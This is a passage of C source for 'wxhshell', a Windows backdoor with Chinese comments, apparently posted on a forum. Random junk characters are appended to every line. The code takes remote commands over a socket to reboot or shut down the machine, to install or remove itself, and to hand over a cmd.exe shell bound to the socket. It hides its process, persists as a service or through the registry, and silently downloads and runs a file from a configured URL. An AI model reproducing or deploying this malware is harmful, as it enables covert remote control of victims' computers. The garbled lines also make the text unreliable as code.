  case '?': { *?X&Y8Kf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u<S`"MR:J  
    break; #%E`~&[  
  } FHOw ]"#  
  // 安装 y*iZ;Bv j  
  case 'i': { dOeM0_o  
    if(Install()) >G5aFk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yvB]rz} i  
    else K3!3[dR*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Go_5X(  
    break; juHL$SGC  
    } Ms!EK  
  // 卸载 ws0qwv#  
  case 'r': { ?6:qAFw  
    if(Uninstall()) sq'm)g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kOQ)QX  
    else I0}.!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ztO)~uL  
    break; U<j5s\Y,  
    } lCU clD  
  // 显示 wxhshell 所在路径 & &}_[{fc  
  case 'p': { 6(8 F4[D  
    char svExeFile[MAX_PATH]; SxRJ{m~  
    strcpy(svExeFile,"\n\r"); j[r}!;O  
      strcat(svExeFile,ExeFile); -$Fj-pO\  
        send(wsh,svExeFile,strlen(svExeFile),0); J8:s=#5  
    break; k$kE5kh,S  
    } HgQjw!  
  // 重启 !eyLh&]5  
  case 'b': { ;73S;IPR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2)=whnFS  
    if(Boot(REBOOT)) eGEwXza 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jh\KVmfXN  
    else { rRe5Q  
    closesocket(wsh); f-F=!^.  
    ExitThread(0); +fVvH  
    } 1bV G%N  
    break; D :@W*,  
    } #`SAc`:n  
  // 关机 f+ r>ur}\)  
  case 'd': { Usf@kVQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {"wF;*U.V  
    if(Boot(SHUTDOWN)) ZG=]b%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:UeE~ uB:  
    else { d7V/#34  
    closesocket(wsh); s 4`-mIa  
    ExitThread(0); lO-DXbgql$  
    } xv]z>4@z,  
    break; :4{ `c.S  
    } E/:U,u{  
  // 获取shell | #yu  
  case 's': { if'=W6W  
    CmdShell(wsh); )O[8 D  
    closesocket(wsh); |nQfgl=V  
    ExitThread(0); >j?5?J"  
    break; \tgY2 :  
  } Kki(A 4;7F  
  // 退出 >|SIqB<%:  
  case 'x': { -m`|Sq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Km5_P##  
    CloseIt(wsh); Gld~GyB\k  
    break; @)b'3~ D  
    } _A,_RM$Y  
  // 离开 ( >}1t!1  
  case 'q': { \:m~ +o$<-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c^W;p2^  
    closesocket(wsh); q-z1ElrN7u  
    WSACleanup(); ?AFb&  
    exit(1); }U7IMONU  
    break; b~.$1oZ  
        } Q6(~VvC-  
  } Y(,RJ&7  
  } M ygCg(h  
Gpu[<Z4  
  // 提示信息 s,_+5ukv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K28L(4)  
} %B@NW2ZQ[  
  } .F ?ww}2p]  
/gu VA  
  return; "(mJupI  
} .<t{saToU  
(XOz_K6c%K  
// shell模块句柄 6[t<g=  
int CmdShell(SOCKET sock) ~ikp'5  
{ ?6 2zv[#  
STARTUPINFO si; K\-N'M!Z  
ZeroMemory(&si,sizeof(si)); |Y"XxM9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?^|[Yzk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |)7K(R)(=  
PROCESS_INFORMATION ProcessInfo; !>Nlp,r&~  
char cmdline[]="cmd"; j}Tv/O,f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G!FdTvx$  
  return 0; _h1bVd-  
} g+o$&'\  
rai'x/Ut}+  
// 自身启动模式 qK'mF#n0#  
int StartFromService(void) s`x2Go  
{ e,s  S.  
typedef struct `*U@d%a  
{ e,OXngC  
  DWORD ExitStatus; r8(oTx  
  DWORD PebBaseAddress; 3Y P! B=  
  DWORD AffinityMask;  C6gSj1  
  DWORD BasePriority; 6O/L~Z*t  
  ULONG UniqueProcessId; ~;(\a@ _  
  ULONG InheritedFromUniqueProcessId; tM5(&cQ!d  
}   PROCESS_BASIC_INFORMATION; z 4}"oQk:r  
*$7^.eHfdd  
PROCNTQSIP NtQueryInformationProcess; %ZRv+}z  
Z*Ffdh>*:&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G:e=9qTf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yl>^QMmo  
-, +o*BP  
  HANDLE             hProcess; Yh]a4l0  
  PROCESS_BASIC_INFORMATION pbi; bAt!S  
` ,T .  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U,b80%k:  
  if(NULL == hInst ) return 0; $U,]c  
$idToOkw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]Z[3 \~?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UL ew ~j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U$D:gZ  
*`OXgkQ  
  if (!NtQueryInformationProcess) return 0; R.|h<bur  
t_^cqEr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f.ua,,P.  
  if(!hProcess) return 0; -~.+3rcZ]  
tic3a1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8+!G /p  
UVXruH  
  CloseHandle(hProcess); e[k\VYj[  
Fz8& Jn!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WA}'[h   
if(hProcess==NULL) return 0; %w_MRC  
!T`g\za/  
HMODULE hMod; =0e>'Iw2  
char procName[255]; L e~D"d8  
unsigned long cbNeeded; T>| +cg  
nILUo2e~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6+sz4  
|vi=h2*  
  CloseHandle(hProcess); v2|zIZ  
}!g$k $y  
if(strstr(procName,"services")) return 1; // 以服务启动 4-O.i\1q  
hpOY&7QUTD  
  return 0; // 注册表启动 G} [$M"}  
} )cN=/i  
1 =?pL$+G  
// 主模块 d >M0:  
int StartWxhshell(LPSTR lpCmdLine) XPYf1H  
{ lN.&46 e  
  SOCKET wsl; W*H%\Y:N  
BOOL val=TRUE; 6jr}l  
  int port=0; O0^Y1l  
  struct sockaddr_in door; 1|*%  
\U]<HEc^  
  if(wscfg.ws_autoins) Install(); fpNq  
2wU,k(F_  
port=atoi(lpCmdLine); }`whg8 fZ  
'o]}vyz;  
if(port<=0) port=wscfg.ws_port; l7ES*==&@0  
cmf*BkS  
  WSADATA data; O,@QGUoA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F[ ^ p~u{  
*[nS*D\:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <c`,fd8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L-W*h  
  door.sin_family = AF_INET; _58&^:/^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TFc/`  
  door.sin_port = htons(port); C 1HNcfa7  
oz'jt} ?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $v{s b,  
closesocket(wsl); 5k_%%><: q  
return 1; IL8&MA%  
} w4y ???90)  
4>=Y@z  
  if(listen(wsl,2) == INVALID_SOCKET) { O6-"q+H)  
closesocket(wsl); F8m@mh*8>  
return 1; b4^a zY  
} t I +]x]m+  
  Wxhshell(wsl); ^YPw'cZZ&  
  WSACleanup(); :B/u>  
7Il /+l(  
return 0; .@(MNq{"6  
Ky7-6$  
} ^oHK.x#{  
]N'4q}<5o  
// 以NT服务方式启动 w RTzpG4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NLWj5K)1P  
{ 9 LEUj  
DWORD   status = 0; $<wU>X  
  DWORD   specificError = 0xfffffff; K0^+2lx  
%]DJ-7 xE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )N ^g0 L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {7Ez7'SVV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ctC! b{S"@  
  serviceStatus.dwWin32ExitCode     = 0; kZ_5R#xK  
  serviceStatus.dwServiceSpecificExitCode = 0; ~o ;*{ Q  
  serviceStatus.dwCheckPoint       = 0; YF");itH  
  serviceStatus.dwWaitHint       = 0; eR1]<Z$W\  
]s_BOt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cvs4dd%)i  
  if (hServiceStatusHandle==0) return; ;S>ml   
f#vVk  
status = GetLastError(); bU(fH^  
  if (status!=NO_ERROR) WAw} ?&k  
{ .=b)Ae c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EJrQ9"x&n  
    serviceStatus.dwCheckPoint       = 0; Q5v_^O<!  
    serviceStatus.dwWaitHint       = 0; n;dp%SD  
    serviceStatus.dwWin32ExitCode     = status; FJ&?My,=J  
    serviceStatus.dwServiceSpecificExitCode = specificError; .!Q[kn0a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \h/aD1 &g  
    return; l< |)LD q~  
  } v/Ei0}e6~  
== i?lbj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h "r)z6Q/  
  serviceStatus.dwCheckPoint       = 0; wvSaq+N  
  serviceStatus.dwWaitHint       = 0; 0/%VejZ'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R75np^  
} Yg7C"3;Vt  
Q,f5r%A.  
// 处理NT服务事件,比如:启动、停止 ^$O,Gy)V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t5za$kW'&  
{ B8G1 #V_jK  
switch(fdwControl) T%:W6fH7  
{ 3m`y?Dd  
case SERVICE_CONTROL_STOP: A =k{Rl{LA  
  serviceStatus.dwWin32ExitCode = 0; ddjaM/.E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &mvC<_1n  
  serviceStatus.dwCheckPoint   = 0; a)8M'f_z  
  serviceStatus.dwWaitHint     = 0; hbdM}"&]  
  { ZgI1Byf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j1,ir  
  } l<nL8/5{<  
  return; Vz&!N/0i  
case SERVICE_CONTROL_PAUSE: ygp NMq#?X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NvfQa6?;  
  break; ]^^mJt.Iv  
case SERVICE_CONTROL_CONTINUE: X}3o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oW/ #/;|`  
  break; ) crhF9!4  
case SERVICE_CONTROL_INTERROGATE: |P]>[}mD  
  break; v iY&D  
}; MkG*6A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cc,,e`  
} rt\4We,7  
h=~ TgTv  
// 标准应用程序主函数 7fJWb)z!k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1e#}+i!a  
{ ON=6w_  
Hi<5jl  
// 获取操作系统版本 "M.vu}~>  
OsIsNt=GetOsVer(); &De&ZypU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <Cw)S8t  
4HK#]M>yz  
  // 从命令行安装 ceR zHq=  
  if(strpbrk(lpCmdLine,"iI")) Install(); +H~})PeQ  
l;SqjkN  
  // 下载执行文件 anTS8b   
if(wscfg.ws_downexe) { C2</.jeLa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wf=D'6w  
  WinExec(wscfg.ws_filenam,SW_HIDE); .qCD(XZ+  
} ^J]~&.l  
1yN/+Rq  
if(!OsIsNt) { hIPU%  
// 如果时win9x,隐藏进程并且设置为注册表启动 .5zqpm  
HideProc(); Og`w~!\  
StartWxhshell(lpCmdLine); =)3tVH&  
} 3X&}{M:Qo  
else QuJ)WaJkC  
  if(StartFromService()) *.J)7~(P  
  // 以服务方式启动 : )\<  
  StartServiceCtrlDispatcher(DispatchTable); $>;U^-#3  
else PI#xRKt  
  // 普通方式启动 viT/$7`AI  
  StartWxhshell(lpCmdLine); >I3#ALF  
{? jr  
return 0; O&?i8XsB  
}
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只看该作者 1 发表于: 2006-10-10
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